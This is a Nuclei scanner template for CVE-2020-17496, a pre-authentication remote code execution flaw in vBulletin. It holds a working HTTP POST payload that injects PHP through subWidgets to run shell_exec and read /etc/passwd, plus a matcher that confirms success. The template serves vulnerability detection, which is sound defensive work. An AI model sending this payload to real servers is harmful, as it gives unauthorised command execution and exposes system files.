nuclei-templates/cves/2020/CVE-2020-17496.yaml

id: CVE-2020-17496
info:
  name: vBulletin Pre-Auth RCE
  author: pussycat0x
  severity: critical
  reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
  description: |
    vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.
  tags: cve,cve2020,vbulletin,rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-17496
    cwe-id: CWE-74

requests:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200